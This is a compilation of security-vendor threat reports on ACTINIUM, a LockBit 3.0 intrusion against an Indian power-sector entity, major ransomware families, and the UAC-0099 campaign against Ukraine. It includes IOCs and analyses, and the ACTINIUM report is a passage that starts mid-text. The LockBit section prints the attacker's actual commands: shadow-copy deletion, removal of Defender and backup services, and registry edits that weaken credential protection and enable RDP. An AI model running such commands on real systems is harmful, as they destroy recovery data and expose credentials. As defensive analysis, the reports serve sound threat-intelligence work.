VBScripts are easier to modify to incorporate new obfuscation or command-and-control (C2) changes. It’s also possible that ACTINIUM deploys these scripts to provide some assurance that detection systems are less likely to detect their main capabilities. These initial staging capabilities vary; examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives, LNK files, or a combination of these. ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence. ### ACTINIUM Operational Infrastructure and Wordlists MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade detection. ACTINIUM’s operational infrastructure consists of many domains and hosts to facilitate payload staging and C2. In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure. ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered “fast-flux”, but most DNS records for the domains change once a day on average. More than 70% of the recent 200+ ACTINIUM IP addresses are owned by ASN 197695 – REG.RU. Most ACTINIUM domains are also registered through the same owning company registrar (REG.RU). It is unclear why ACTINIUM appears to favor these legitimate providers. Malware authored by ACTINIUM often utilizes randomized subdomains for C2. These subdomains have included the use of an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating network defense tools that may rely on domain name blocks. A list of the most common words MSTIC has observed is included in the IOCs below. Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for subdomain patterns instead of wordlists, indicating a possible shift in methodology. Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include: - Jealousy.jonas.artisola.ru - Deliberate.brontaga.ru - registration83.alteration.luck.mirotas.ru - 001912184.retarus.ru - 637753599292688334.jolotras.ru While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear preference for it on a specific ASN. Such preference may help defenders determine whether a domain may be more likely to be owned by ACTINIUM. ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks. For example, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads. The payloads are often named with seemingly random words and phrases with valid (but irrelevant) extensions. The files are then executed using scripts with the /E:VBScript flag to specify the VBScript engine (and to effectively ignore the random file extension assigned to the payload) and the /b flag to mute alerts and errors. Maintaining persistence and gathering intelligence MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for the purpose of intelligence collection. Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access, MSTIC has observed ACTINIUM deploying tools such as “Pterodo” to gain interactive access to target networks. In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target. UltraVNC is a legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target host without relying on custom, malicious binaries that may be detected and removed by security products. ### Malware and Capabilities ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded payloads before execution. MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch. The PowerPunch malware family is an excellent example of an agile and evolving sequence of malicious code. The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later. These are fast-moving targets with a high degree of variance. Analyzed payloads regularly place a strong emphasis on obfuscated VBScripts. As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must consistently adapt to keep pace with a very agile threat. The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as “Pterodo”. In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically geared toward file exfiltration and monitoring. #### PowerPunch The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64. These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage. PowerPunch also provides an excellent example of this. Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution. #### Pterodo MSTIC has also reviewed several variants of ACTINIUM’s more fully-featured Pterodo malware. A couple of features play a direct role in this malware’s ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing algorithm to map necessary API components, and an “on-demand” scheme for decrypting needed data and freeing allocated heap space when used. The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed; when a match is found, its address is saved. However, Windows libraries need to be loaded before function hashes are computed. The names of these libraries and other strings required by the malware are recovered using an “on-demand” scheme that decrypts the data, uses it, and immediately frees the associated heap space once it is no longer needed. Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis more difficult. By applying our understanding, we can expose more malware elements to further advance mitigation and detection efforts. ### QuietSieve The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. Before enumerating target files on the host, QuietSieve first checks for connectivity by sending a test ping to 8.8.8.8 (Google public DNS). The creation of the buffer for the ICMP request is done manually within QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet. If this check succeeds, a randomly-generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS. If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration. QuietSieve will also take screenshots of the compromised host approximately every five minutes and save them in the user’s local Application Data folder. While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator. These payloads are written to the user’s Application Data folder with a random alphanumeric name and are executed in a hidden window. Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers. ## Indicators of Compromise (IOCs) The following IOCs were observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. ### Example Malware Samples and Associated Infrastructure **QuietSieve** - **Indicator**: Jolotras.ru - **Type**: Domain - **Comments**: QuietSieve, associated with multiple malware samples - **Indicator**: Moolin.ru - **Type**: Domain - **Comments**: QuietSieve, associated with multiple malware samples - **Indicator**: 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 - **Type**: SHA-256 - **Comments**: QuietSieve, communicates with moolin.ru domain(s) **Pterodo** - **Indicator**: gorigan.ru - **Type**: Domain - **Comments**: Pterodo - **Indicator**: teroba.ru - **Type**: Domain - **Comments**: Pterodo - **Indicator**: krashand.ru - **Type**: Domain - **Comments**: Pterodo, associated with multiple malware samples ### Various Stagers and Downloaders - **Indicator**: %windir%\System32\schtasks.exe” /CREATE /sc minute /mo 12 /tn “deepness” /tr “wscript.exe “%PUBLIC%\Pictures\deepness.fly” //e:VBScript //b” /F - **Type**: Command - **Comments**: DessertDown artifact - **Indicator**: wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b - **Type**: Command - **Comments**: DinoTrain artifact ### ACTINIUM-Owned Infrastructure **Domains** The following list represents the most recent domains used by ACTINIUM as of this writing. Many of ACTINIUM’s capabilities communicate with generated subdomains following the patterns discussed earlier. - acetica.online - adeltorr.ru - arianat.ru - bartion.ru - bilorotka.ru - dokkade.ru - goshita.ru - hajimari.ru - libellus.ru - meshatr.ru ### Wordlist of Observed Terms ACTINIUM likely generates strings for use in various components from a wordlist. A sample of terms observed in use by ACTINIUM can be found below. ACTINIUM has been observed to use these terms for: - Subdomains for their C2 infrastructure - Scheduled task names - Folder names - Malware file names ### Detections **Microsoft 365 Defender** - Alerts with the following titles in the security center can indicate threat activity on your network: - ACTINIUM activity group - Suspicious obfuscation or deobfuscation activity - Suspicious script execution - A script with suspicious content was observed - PowerShell dropped a suspicious file on the machine **Microsoft Defender for Office 365** - The following email security alerts may indicate threat activity associated with this threat: - Email messages containing malicious file removed after delivery - Email messages containing malware removed after delivery ### Advanced Hunting Queries To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below: **Identify ACTINIUM IOCs** This query identifies a match across various data feeds for IOCs related to ACTINIUM. **Identify antivirus detection of ACTINIUM activity** This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM actor. **Surface ACTINIUM-related alerts** Use this query to look for alerts related to ACTINIUM alerts. **Surface suspicious MSHTA process execution** Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path. **Surface suspicious Scheduled Task activity** Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity.
# Indian Power Sector Targeted with Latest LockBit 3.0 Variant **Written by Sathwik Ram Prakki** **August 10, 2022** After the infamous Conti ransomware group was disbanded, its former members started to target energy and power sectors with a new unknown ransomware payload. The intelligence derived by Quick Heal researchers had already identified the Energy and Power sector as a segment prone to cyberattacks and had increased the vigil on the same. This proactive monitoring proved fruitful soon after we identified one of the recent premium entities attacked in this segment. Our investigation and analysis determined that the new LockBit 3.0 ransomware variant caused the infection. The same has been claiming its dominance over other ransomware groups this year. The entity that bore the brunt of this ransomware attack had endpoints at multiple locations, connected with each other and the server in a mesh-topology spread across numerous locations. From the logs of multiple systems and telemetry, we observed that Windows SysInternal tool PSEXEC was utilized from an unprotected system to execute the ransomware payload (Lock.exe) on all the systems laterally. The noteworthy observation was that only the shared drives were found to be encrypted. Initial access was obtained via brute forcing techniques where multiple user names were used for lateral movement. The encryption timestamp was in the early morning of 27-June-2022. Anti-forensic activities were also observed, which cleared event logs, killed multiple tasks, and deleted services simultaneously. ## Initial Analysis The service PSEXESVC was first observed to be installed a week before the encryption, with successful SMB connections surging just before the encryption. Malicious BAT files were executed by the same service only on one endpoint: ``` C:\Windows\system32\cmd.exe /c "openrdp.bat" C:\Windows\system32\cmd.exe /c "mimon.bat" C:\Windows\system32\cmd.exe /c "auth.bat" C:\Windows\system32\cmd.exe /c "turnoff.bat" ``` PSEXESVC executed the ransomware payload that must have a valid key passed along with the command-line option ‘-pass’. The encrypted files were appended with .zbzdbs59d extension which suggests that random generation was done with each payload. Engine and ARW Telemetry show that the ransomware payload (Lock.exe) was detected at multiple locations on the same day. This shows that the payload was dropped in all these systems but was detected by AV. ## Payload Analysis All the sections on the payload are encrypted, which can only be decrypted bypassing the decryption key as a command-line parameter ‘-pass’. The key obtained for this sample is: `60c14e91dc3375e4523be5067ed3b111`. The key is further processed to decrypt specific sections in memory that are obtained by traversing the PEB and later calls the decrypted sections. Being packed and having only a few imports, Win32 APIs are resolved by decrypting the obfuscated string with XOR using the key `0x3A013FD5`. ## Privilege Escalation When Admin privileges are not present during execution, it uses CMSTPLUA COM for UAC bypass to elevate the privileges with another instance of the ransomware payload, terminating the current process. ## Service Deletion and Process Termination Processes terminated included SecurityHealthSystray.exe and the mutex created during execution was `13fd9a89b0eede26272934728b390e06`. Services were enumerated using a pre-defined list and were deleted if found on the machine: 1. Sense 2. Sophos 3. Sppsvc 4. Vmicvss 5. Vmvss 6. Vss 7. Veeam 8. Wdnissvc 9. Wscsvc 10. EventLog ## Anti-Debugging Technique Threads used for file encryption were hidden from the debugger using `NtSetInformationThread` function with undocumented value (ThreadHideFromDebugger = 0x11) for ThreadInformationClass parameter. ## File Encryption Before starting file encryption, the malware associated an icon to encrypted files by creating and writing it into an image file in the `C:\ProgramData` directory as `zbzdbs59d.ico`. Files were encrypted by creating multiple threads where each filename was replaced with a random string generated and appending the extension to them. The ransom note `zbzdbs59d.README.txt` is created inside every directory except the Program Files and the Windows directory, which aren’t encrypted. It contains instructions to install the TOR browser, links for a chat along with the personal ID and ends with the warnings as usual. The victim machine’s wallpaper is modified with the name ‘LockBit Black’ and mentions the instructions to be followed. ## Anti-Forensic Activity As part of wiping out its traces, the ransomware disabled Windows Event Logs by setting multiple registry subkeys to value 0. ### Tasks Killed - IBM* - PrnHtml.exe* - DriveLock.exe* - MacriumService.exe* - sql* - PAGEANT.EXE* - CodeMeter.exe* - ReflectMonitor.exe* - vee* - firefox.exe* - DPMClient.exe* - Atenet.Service.exe* - sage* - ngctw32.exe* - ftpdaemon.exe* - account_server.exe* - mysql* - omtsreco.exe - mysqld-nt.exe* - policy_manager.exe* - bes10* - nvwmi64.exe* - sqlwriter.exe* - update_service.exe* - black* - Tomcat9.exe* - Launchpad.exe* - BmsPonAlarmTL1.exe* - postg* - msmdsrv.exe* - MsDtsSrvr.exe* - check_mk_agent.exe* ### Services Deleted ``` sc stop "Undelete" sc delete "L TService" sc delete "L TSvcMon" sc delete "WSearch" sc delete "MsMpEng" net stop ShadowProtectSvc C:\Windows\system32\net1 stop ShadowProtectSvc ``` ### Shadow Volume Copies Deleted ``` vssadmin.exe Delete Shadows /All /Quiet ``` ### Removal of all Active Network Connections ``` net use * /delete /y ``` ### Registry Activity ``` reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "ATTENTION to representatives!!!! Read before you log on" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "Your system has been tested for security and unfortunately your system was vulnerable. We specialize in file encryption and industrial (economic or corporate) espionage. We don’t care about your files or what you do, nothing personal – it’s just business. We recommend contacting us as your confidential files have been stolen and will be sold to interested parties unless you pay to remove them from our clouds and auction, or decrypt your files. Follow the instructions in your system" /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f ``` ## Conclusion Unprotected systems in the network were brute-forced to run the PSEXEC tool for lateral movement across the systems to execute the ransomware payload. With LockBit 3.0 introducing its bug bounty program and adopting new extortion tactics, it is mandatory to take precautions like downloading applications only from trusted sources, using antivirus for enhanced protection, and avoiding clicking on any links received through email or social media platforms. ## IOCs **MD5** `7E37F198C71A81AF5384C480520EE36E` - Ransom.Lockbit3.S28401281 HEUR:Ransom.Win32.InP **IPs** 3.220.57.224 72.26.218.86 71.6.232.6 172.16.116.14 78.153.199.241 5.233.194.222 27.147.155.27 192.168.10.54 87.251.67.65 64.62.197.182 43.241.25.6 31.43.185.9 194.26.29.113 **Subject Matter Experts** Tejaswini Sandapolla Umar Khan A Parag Patil Sathwik Ram Prakki Sathwik Ram Prakki is working as a Security Researcher in Security Labs at Quick Heal. His focus areas are Threat Intelligence, Threat Hunting, and writing about...
# The Most Prolific Ransomware Families: A Defenders Guide ## Executive Summary Ransomware dominates the news cycle, but with an ever-growing number of variants and the botnets behind them, it’s easy for defenders to lose track of their relationships. In this article, DomainTools researchers provide a look at the three most prolific (by victim) ransomware families and the current loaders they use. ## Ransom-every-ware The current cybersecurity news cycle seems entirely dominated by the ransomware scene as major pipelines are interrupted, the meat supply chain grinds to a halt, and manufacturers across the board shutter while getting their networks in order. Ransomware gangs appear to be multiplying, and new groups are claiming their ties to older groups to gain clout and scare their victims into payment. Affiliate programs are recruiting on hacker forums while initial access brokers are selling footholds into corporate networks. There is a vast underground economy booming around the ransomware scene today. In all of this, it’s easy to get lost when examining infections as the deluge of incidents continues. Malware families like TrickBot, Ryuk, Dridex, BazarLoader, and DoppelPaymer certainly don’t make things any easier for defenders. Ransomware gangs or affiliate groups being confounded with their tooling names muddle things even further. Most of these hacker tools have precursor tools that lead to infections, a partnership where a botnet operator, after acquiring what they need from a network, then sells access or directly works with ransomware groups for a cut of their take. These partnerships are akin to partnerships in the corporate world: for example, a TrickBot infection often leads to Conti or Ryuk ransomware, or a Qakbot infection leads to a REvil ransomware. These ties and alliances shift as new botnets and groups bloom and fade. Through this article, DomainTools research will give a lay of the land, as it stands today, and which infections lead to what outcomes, properties of those infections, and how to spot them. We’ll concentrate on the top three most prolific ransomware families by number of victims: Conti, Maze (and in turn Egregor), and Sodinokibi (REvil) to provide you with a better comprehension of what you read in the ever-evolving ransomware news cycle. ## An Important Reminder On Affiliates DomainTools researchers feel that it is important to remind readers that all of these groups make alliances, share tools, and sell access to one another. Nothing in this space is static, and even though there is a single piece of software behind a set of intrusions, there are likely several different operators using that same piece of ransomware that will tweak its operation to their designs. The playbook of the affiliate programs that many of these ransomware authors run is to design a piece of ransomware and then sell it off for a percentage of the ransom gained. Think of it as a cybercrime multi-level marketing scheme. Often there is a builder tool that allows the affiliate to customize the ransomware to their needs for a specific target, which at the same time tweaks the software slightly so it can evade standard, static detection mechanisms. This article’s intent is not to dive deep into tracking individual affiliates or into each of the stages of a piece of packed malware, but just to the top level of software used and their relations. Lastly, we must mention that access for the ransomware is often being provided by an initial backdoor or botnet, frequently called an initial access broker. These backdoors, sometimes referred to as remote access trojans (RATs), are first dropped by a downloader, another piece of simple, obfuscated software that is usually distributed by spam emails with malicious documents of varying types. Sometimes, the people behind these RATs and ransomware families will also obtain access by password spraying techniques or exploiting old vulnerabilities that might be present on aging systems exposed on corporate networks. We will include those steps in our explanations. All in all, what this shows is that the problem space to look in for a robust defense solution isn’t necessarily at the ransomware itself, but the methods of initial access through spam email campaigns, brute force attacks, and vulnerability management. Rarely are the affiliates behind the ransomware infection actually the same entity acquiring initial access. ## Conti First observed in December 2019, Conti is suspected to be operated by the same group that is behind the Ryuk ransomware, known for its rapid cycles of initial access to ransomware infection. Like many groups, they operate a Ransomware-as-a-Service (RaaS) offering and have a leak site that they leverage against victims for double extortion. While distributed by the TrickBot botnet in the past, Conti is often seen now being distributed by Bazar and IcedID (aka BokBot). What’s interesting here is that IcedID was also known to be distributed by the prolific Emotet botnet, which distributed TrickBot and Ryuk in the past as well. All of these connections lead most to believe that the groups behind all of these pieces of malicious software are connected and working together. Conti is unique in that when encrypting victim data with AES256, the software uses a multithreaded approach which makes the execution much faster than other malware families. This can mean that by the time defenders notice the Conti infection on one machine, it’s far too late to remediate. The ties to older groups such as Ryuk, having operated since 2018, and the improvement in capabilities and speed indicate that Conti is the next iteration of software for these gangs and the most deadly of the current malware families. Additionally, the fact that Conti is one of the few RaaS programs that sometimes gains initial access on its own shows a higher level of sophistication than some other affiliate groups. Lastly, we want to call out Bazar for a piece of uniqueness uncovered by the domain name-specific research that DomainTools conducts. Bazar uses EmerDNS blockchain-based domains. This is an alternative domain registry which uses EmerCoin as the blockchain, meaning the domains cannot be taken down or sinkholed to disrupt the botnet’s communications as this is an entirely separate DNS not under anyone’s control. Use of these blockchain domains has been slowly on the rise in malicious software and produces a significant problem for defenders. ## Maze and Egregor The Maze ransomware group remains one of the most prolific ransomware affiliate programs with such a vast number of infections that they still exist in the top ten infections of all time even though the affiliate program announced their retirement in November 2020 after only forming in 2019. Maze, previously called ChaCha for its use of the ChaCha encryption algorithm, was also the first RaaS to develop a leaks site and attempt to get victims to pay using double extortion—something that’s common for all new ransomware programs today. For that reason, we couldn’t leave them off this list even though most of their affiliates moved on to using the Egregor ransomware, first appearing in September 2020, after Maze’s retirement. Maze used off-the-shelf exploit kits such as Fallout or Spelevo and spam campaigns that have downloaders that install Cobalt Strike Beacon. Beacon is a commercial, full-featured RAT that is found in almost all infection chains these days. Despite claiming to be a tool for red teams and penetration testers, Cobalt Strike is so full-featured, particularly its modular command and control in Beacon, that bad actors have taken the tool up without abandon. Most infection chains have an instance of Beacon in them somewhere, including with Conti above. What’s important to note here is that the Egregor ransomware family departs from Maze in that it follows a similar model to Conti where external exploits against RDP, similar to Conti, are used as well as spam mail with malicious documents to drop the Qakbot (AKA Qbot) worm. Qakbot is a commodity malware, available since 2007, that is available on a number of underground forums and used by several ransomware families. Muddying waters even further, Qakbot has been seen being dropped by Emotet in some infections and tied to several ransomware families in the past outside Egregor, such as ProLock and LockerGoga. The Egregor attacks using RDP to gain an initial foothold lead some to believe that some Egregor affiliates are confident in breaching networks directly while others are relying on initial access brokers who are less skilled leveraging commodity malware. ## REvil (Sodinokibi) The REvil ransomware family first appeared in April 2019 and is thought, due to code similarities, to be the spiritual successor to GandCrab, an earlier ransomware variant that targeted consumers. Similar to many other ransomware variants, REvil checks on startup if the computer’s language region is set to an allowlisted country, typically a nation outside of the CIS nations such as Kazakhstan and Russia. Much like other families, REvil operates a leak site where they have, for instance, offered up stolen Apple blueprints. REvil also has a number of unique features that make the malware particularly sinister. For instance, REvil samples will attempt to escalate privileges by constantly spamming the user with an administrator login prompt or will reboot into Windows Safe Mode to encrypt files, as antivirus software rarely runs in safe mode. The software also uses a custom packer to disguise itself, which makes analysis difficult for less talented reverse engineers. Separate from the previous two families discussed, REvil uses the AES or Salsa20 encryption algorithms on victim files, which is a slightly unique signature. These unique features, along with the RaaS’ success, have led to some new gangs, such as Prometheus, claiming to be a part of REvil to encourage victim payment. As for distribution, REvil affiliates have been seen using a spam campaign to deliver malicious documents and exploit kits targeting old vulnerabilities on unpatched machines, as well as most recently through Qakbot. This new relationship of being distributed through the Qakbot worm brings REvil into line with the many other families that have been distributed by botnets in the past. With the speed at which many of these ransomware groups are now moving and the money involved, purchasing access from botnet operators into valuable victim networks is more effective than individual targeting of companies for most affiliates. ## Ransomware Map While the previous three families may be the most prominent in terms of victim market share, there remains an ever-growing number of ransomware gangs and families to keep track of in the rapid news cycle. These three families also offer a glimpse into what most of the ransomware market looks like as far as infection vectors and chains are concerned. With those as a basis, we offer the following guide to help with interpreting any articles encountered on ransomware. As with any ancient map, there are portions of unknown territories and portions that may rapidly shift from the time when this map was made. Tactics and techniques change, relationships change, but this is the market slightly untangled from the DomainTools research perspective at the time of this publishing.
# Threat Actor 'UAC-0099' Continues to Target Ukraine **December 21, 2023** **Deep Instinct Threat Lab** ## Key Takeaways - "UAC-0099" is a threat actor that has targeted Ukraine since mid-2022. - Deep Instinct Threat Lab has identified new attacks by the threat actor. - The threat actor was observed leveraging CVE-2023-38831. - The threat actor targets Ukrainian employees working for companies outside of Ukraine. ## Introduction In May 2023, the Ukrainian CERT published advisory #6710 about a threat actor dubbed “UAC-0099.” The advisory briefly details the threat actor’s activities and tools. Since the CERT-UA publication in May, Deep Instinct has identified new attacks carried out by “UAC-0099” against Ukrainian targets. This blog post will shed additional light on the threat group’s recent attacks, which feature common tactics, techniques, and procedures (TTPs), including the use of a fabricated court summons to bait targets in Ukraine into executing the malicious files. Important note: Some of the C2 servers related to these attacks are still active at the time of publication. ## RAR SFX with LNK Infection Vector In early August, “UAC-0099” sent an email impersonating the Lviv city court using the ukr.net email service. The email was sent to a corporate email box of a Ukrainian employee working remotely for a company outside of Ukraine. The attached is an executable file created by WinRAR, the Windows-based file archiver and compression utility that can compress a file as a self-extracting archive (SFX). After extracting the contents of the archive, a new file is created with a double extension, in this case `docx.lnk`. The file looks like a regular document file. However, it’s a LNK shortcut disguised as a DOCX file. Closer inspection reveals that the file uses the “WordPad” application icon instead of a DOCX icon. When opened, the specially crafted LNK file executes PowerShell with malicious content. The malicious PowerShell code decodes two base64 blobs and writes the output into VBS and DOCX files. After that, the PowerShell code opens the DOCX file as a decoy while also creating a new scheduled task that executes the VBS file every three minutes. The VBS malware was named “LonePage” by CERT-UA. When executed, it creates a hidden PowerShell process that communicates with a hardcoded C2 URL to fetch a text file. The rest of the PowerShell code is executed only if the response from the C2 is greater than one byte. In that instance, the PowerShell script checks to see if the string “get-content“ is included in the text file. If the string is present, then the script executes the code from the server and saves it as an array of bytes. If the string is absent, the script executes a combination of commands inside the text file from the server and some hard-coded basic enumeration commands such as “whoami.” Regardless of the C2 response, the results of executing the commands inside the txt file or the hardcoded commands are sent back to the same C2 server. However, it is sent to a different port via HTTP POST method. The DOCX document is a decoy to trick the victim into thinking they’re opening a legitimate DOCX file containing a court summons instead of a malicious file. In early November, another instance of this campaign was observed using a different C2 address — 196.196.156[.]2. Since the threat actor controls the content of the “upgrade.txt” files, they can change it according to their objectives. As such, the content is not always the same and can vary. The following code was observed as a response from the C2 server at 2023-11-08 14:50:30 UTC. This PowerShell code is responsible for taking a screenshot. As mentioned above, the LonePage VBS sends the results back to the C2, allowing the threat actor to execute any PowerShell code on the infected computer and receive the response back. At the end of November 2023, another campaign instance was observed using the C2 address 2.59.222[.]98. In this case, the payload response from the C2 server aligns with what was described as “recon” activity in the pastebin. The decoy document is a PDF file instead of a DOCX. And instead of the usual court summons document, the PDF file shows a smudged document. ## HTA Infection Vector In contrast to the LNK attack vector described earlier, this attack uses HTA. The HTA method is similar, but there are notable differences. Instead of an LNK file invoking PowerShell, the HTA file includes HTML code that contains a VBScript that executes PowerShell. The scheduled task cadence is also different — it runs every four minutes instead of three in the previous cases. While CERT-UA reported in their advisory that the HTA file drops an HTML file as a decoy, Deep Instinct observed a similar court summons DOCX decoy document, like what was observed in the LNK chain. ## CVE-2023-38831 Infection Vector In both attacks described below, “UAC-0099” exploited a known WinRAR vulnerability, identified by Group-IB and traced back to April 2023. The vulnerability stems from how WinRAR processes ZIP files. The exploitation requires a user to interact with a specially crafted ZIP archive. Here’s how it works: the attacker creates an archive with a benign filename with a space after the file extension — for example, “poc.pdf .” The archive includes a folder with the same name, including the space (something that is not possible under normal conditions, since the operating system does not allow the creation of a file with the same name). The folder includes an additional file with the same name as the benign file, including a space, followed by a “.cmd” extension. When a user opens a ZIP file containing these files in an unpatched version of WinRAR and double-clicks on the benign file, the file with the “cmd” extension is executed instead. The vulnerability might produce higher infection rates because the attacks are disguised so well; even security-savvy victims can fall for the deception. Expecting to open a benign file, the user will inadvertently execute malicious code. A patched WinRAR (version 6.23) was released on August 2, 2023. Deep Instinct identified two ZIP files created by “UAC-0099" on August 5, 2023. The malicious “cmd” file is different in the two files, each containing a different C2 URI path. The modification time between the two files is only two seconds, indicating that, most likely, the files were created in an automated fashion. This, combined with the fact that UAC-0099 started to exploit the vulnerability several days after the patch, shows the level of sophistication of the attackers. While Google TAG identified several Russian threat actors using the vulnerability to attack Ukrainian targets, the UAC-0099 activity is absent in their blog. The CVE assignment and the Group-IB blog about the vulnerability were published after “UAC-0099” leveraged the attack technique, indicating they likely knew how to exploit it. The decoy used in this campaign was once again the “summon to court” document theme. ## Conclusions and Recommendations The tactics used by “UAC-0099” are simple, yet effective. Despite the different initial infection vectors, the core infection is the same — they rely on PowerShell and the creation of a scheduled task that executes a VBS file. Monitoring and limiting the functionality of those components can reduce the risk of “UAC-0099” attacks — and/or identify them quickly in the event of compromise. The WinRAR exploitation is an interesting choice. Some people don’t update their software in a timely fashion, even with automatic updates. WinRAR requires a manual update, meaning that even if a patch is available, many people will likely still have a vulnerable version of WinRAR installed. Please make sure you have the latest version of WinRAR installed. ## IOCs - 147.78.46[.]40 - 196.196.156[.]2 - 2.59.222[.]98 ### SHA256 - d21aa84542303ca70b59b53e9de9f092f9001f409158a9d46a5e8ce82ab60fb6 - SFX - 0eec5a7373b28a991831d9be1e30976ceb057e5b701e732372524f1a50255c7 - LNK - 8aca535047a3a38a57f80a64d9282ace7a33c54336cd08662409352c23507602 - VBS - 2c2fa6b9fbb6aa270ba0f49ebb361ebf7d36258e1bdfd825bc2faeb738c487ed - Decoy - 659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd - SFX - 0aa794e54c19dbcd5425405e3678ab9bc98fb7ea787684afb962ee22a1c0ab51 - LNK - 4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924 - VBS - 53812d7bdaf5e8e5c1b99b4b9f3d8d3d7726d4c6c23a72fb109132d96ca725c2 - Decoy - 38b49818bb95108187fb4376e9537084062207f91310cdafcb9e4b7aa0d078f9 - HTA - a10209c10bf373ed682a13dad4ff3aea95f0fdcd48b62168c6441a1c9f06be37 - VBS - 61a5b971a6b5f9c2b5e9a860c996569da30369ac67108d4b8a71f58311a6e1f1 - Decoy - 86549cf9c343d0533ef80be2f080a7e3c38c77a1dfbde0a2f89048127979ec2a - SFX - 762c7289fb016bbcf976bd104bd8da72e17d6d81121a846cd40480dbdd876378 - LNK - 39d56eab8adfe9eb244914dde42ec7f12f48836d3ba56c479ab21bdbc41025fe - VBS - f75f1d4c561fcb013e262b3667982759f215ba7e714c43474755b72ed7f9d01e - Decoy - 986694cad425c8f566e4e12c104811d4e8b30ce6c4c4d38f919b617b1aa66b05 - CVE-2023-38831 ZIP - 54458ebfbe56bc932e75d6d0a5c1222286218a8ef26face40f2a0c0ec2517584 - CVE Payload - 96ab977f8763762af26bad2b6c501185b25916775b4ed2d18ad66b4c38bd5f0d - VBS - 6a638569f831990df48669ca81fec37c6da380dbaaa6432d4407985e809810da - Decoy - 87291b918218e01cac58ea55472d809d8cdd79266c372aebe9ee593c0f4e3b77 - CVE-2023-38831 ZIP - f5f269cf469bf9c9703fe0903cda100acbb4b3e13dbfef6b6ee87a907e5fcd1b - CVE Payload - e34fc4910458e9378ea357baf045e9c0c21515a0b8818a5b36daceb2af464ea0 - VBS - 2a3da413f9f0554148469ea715f2776ab40e86925fb68cc6279ffc00f4f410dd - SFX
